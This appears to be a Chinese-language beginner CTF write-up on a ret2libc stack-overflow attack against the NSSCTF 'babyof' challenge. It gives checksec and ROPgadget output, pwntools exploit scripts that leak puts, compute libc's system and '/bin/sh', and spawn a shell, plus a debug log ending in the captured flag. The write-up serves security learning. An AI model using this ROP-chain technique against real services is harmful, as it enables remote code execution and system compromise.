PWN入门-ret2libc-1

Sat Sep 21 2024

什么是ret2libc

ret2libc是一种常见的缓冲区溢出攻击技术。 通过这种方法,利用程序中的漏洞来执行已存在于内存中的代码,通常是 libc 库中的函数,而不是插入自定义的恶意代码。 这种攻击方法的优势在于,攻击者不需要将恶意代码注入程序中,只需利用已有的库函数来执行恶意操作。

解题

checksec

SH
1
2
3
4
5
6
7
8
checksec --file whitegive_pwn                                  
[*] '/pwn/pwnfiles/whitegive_pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

使用checksec分析二进制文件

IDA

打开IDA进行反编译

发现main函数指向了一个sub_400632()函数,打开此函数

Alt text

发现存在read()栈溢出危险函数

检索文件中存在的函数

Alt text

并没有发现存在后门函数

猜测使用ret2libc获取flag

编写exp

接收并解析 puts 地址

PYTHON
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import * # 导入pwntools库中的所有功能,用于进行二进制漏洞利用。
from LibcSearcher import * # 导入LibcSearcher,用于根据泄露的函数地址查找 libc中的地址。

context(os='linux',arch='amd64',log_level='debug') # 设置环境

io=remote("node4.anna.nssctf.cn",28473) # 连接到远程服务

#  加载ELF二进制文件
elf=ELF('/pwn/pwnfiles/babyof')  # 加载指定的 ELF 二进制文件,以便提取函数和地址信息
puts_got=elf.got['puts'] # 获取puts函数在全局偏移表(GOT)中的地址。
puts_plt=elf.plt['puts'] # 获取 puts 函数在过程链接表(PLT)中的地址。

rdi=0x400743
ret=0x400506
sub=0x400632  # sub_400632

payload=b'a'*(0x40+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(sub)  
# 栈溢出 + rdi的地址压入payload + puts的GOT地址压入 payload + puts的PLT地址压入payload + sub_400632的地址压入payload

io.sendlineafter(b'overflow?',payload) # 发送Payload

puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) 
# recvuntil(b'\x7f'): 接收数据直到遇到 0x7f 字节。 
#[-6:]: 取接收到的数据的最后 6 字节。
#ljust(8, b'\x00'): 将数据左填充为 8 字节,使用 0x00 填充。
#u64(...):将字节转换为64位无符号整数,即puts地址。

print("puts_addr",hex(puts_addr))  # 打印泄露的puts地址,格式为十六进制

#结果是 0x7f7b86b92aa0

io.interactive()
如何获取RDI和REX的地址
SH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ROPgadget --binary babyof --only 'pop|ret'    

Gadgets information
============================================================
0x000000000040073c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040073e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400740 : pop r14 ; pop r15 ; ret
0x0000000000400742 : pop r15 ; ret
0x000000000040073b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040073f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400619 : pop rbp ; ret
0x0000000000400743 : pop rdi ; ret  # RDI
0x0000000000400741 : pop rsi ; pop r15 ; ret
0x000000000040073d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400506 : ret  # REX
0x0000000000400870 : ret 0xfffd
payload的解释
  1. 将 rdi gadget 的地址压入 payload: 这个gadget用于控制rdi寄存器,也就是puts函数的第一个参数。
  2. 将 puts_got 地址压入 payload: 这个地址作为 puts 的参数,目的是让puts函数输出GOT表中存储的puts函数的实际地址,以泄露libc中的函数地址。
  3. 将 puts_plt 地址压入 payload: 通过 PLT 调用 puts 函数。
  4. 将 sub_400632 压入 payload: 调用完 puts后,跳转到一个已知的安全位置。

继续编写exp

PYTHON
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')

io=remote("node4.anna.nssctf.cn",28349)

elf=ELF('/pwn/pwnfiles/babyof')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']

rdi=0x400743
ret=0x400506
sub=0x400632

payload=b'a'*(0x40+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(sub)
io.sendlineafter(b'overflow?',payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("puts_addr",hex(puts_addr))

libc=LibcSearcher('puts',puts_addr)  # 通过泄露的puts地址来查找对应的libc版本,并获取该版本中不同函数的偏移地址。
base=puts_addr - libc.dump('puts')   # 通过减去puts在libc中的偏移,得到了libc的基地址。
system=base + libc.dump('system')    # 通过libc基地址加上system函数的偏移量,得到system函数的地址。
bin_sh=base + libc.dump('str_bin_sh')# 通过libc基地址加上/bin/sh字符串的偏移量,得到了/bin/sh字符串的地址。 

payload=b'a'*(0x40+8)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)

io.sendlineafter(b'overflow?',payload)
payload的解释
  1. p64(ret): 一般是一个 ret指令,用于对齐栈空间(有些系统在调用 system 时需要对齐栈指针)。
  2. p64(rdi): 用于将 /bin/sh的地址传递给system函数,rdi是传递第一个参数的寄存器。
  3. p64(bin_sh): /bin/sh的地址,作为参数传递给 system 函数。
  4. p64(system): system函数的地址,用来执行 system(“/bin/sh”),从而获得一个shell。

注意

解决办法

寻找libc文件,并查看偏移量量,自己书写上去。

通过libc database search网站查询libc文件

之前执行exp时已经得到了puts的地址为0x7f7b86b92aa0,通过此地址查询libc文件

Alt text

此题使用的libc文件是libc6_2.27-3ubuntu1.4_amd64

Alt text

查看偏移量

Alt text

修改exp

PYTHON
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')

io=remote("node4.anna.nssctf.cn",28473)

elf=ELF('/pwn/pwnfiles/babyof')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']

rdi=0x400743
ret=0x400506
sub=0x400632

payload=b'a'*(0x40+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(sub)
io.sendlineafter(b'overflow?',payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("puts_addr",hex(puts_addr))

#libc=LibcSearcher('puts',puts_addr)
base=puts_addr - 0x080aa0
system=base + 0x04f550
bin_sh=base + 0x1b3e1a

payload=b'a'*(0x40+8)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)

io.sendlineafter(b'overflow?',payload)

io.interactive()

获取flag

SH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
puts_addr 0x7f1704d20aa0
[DEBUG] Sent 0x69 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000040  61 61 61 61  61 61 61 61  06 05 40 00  00 00 00 00  │aaaa│aaaa│··@·│····│
    00000050  43 07 40 00  00 00 00 00  1a 3e e5 04  17 7f 00 00  │C·@·│····│·>··│····│
    00000060  50 f5 ce 04  17 7f 00 00  0a                        │P···│····│·│
    00000069
[*] Switching to interactive mode

[DEBUG] Received 0xe bytes:
    b'I hope you win'
I hope you win[DEBUG] Received 0x1 bytes:
    b'\n'

$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x22 bytes:
    b'bin\n'
    b'dev\n'
    b'flag\n'
    b'lib\n'
    b'lib32\n'
    b'lib64\n'
    b'pwn5\n'
bin
dev
flag
lib
lib32
lib64
pwn5
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x2d bytes:
    b'NSSCTF{d9594d94-73b5-42b6-81d0-b397309fe094}\n'
NSSCTF{d9594d94-73b5-42b6-81d0-b397309fe094}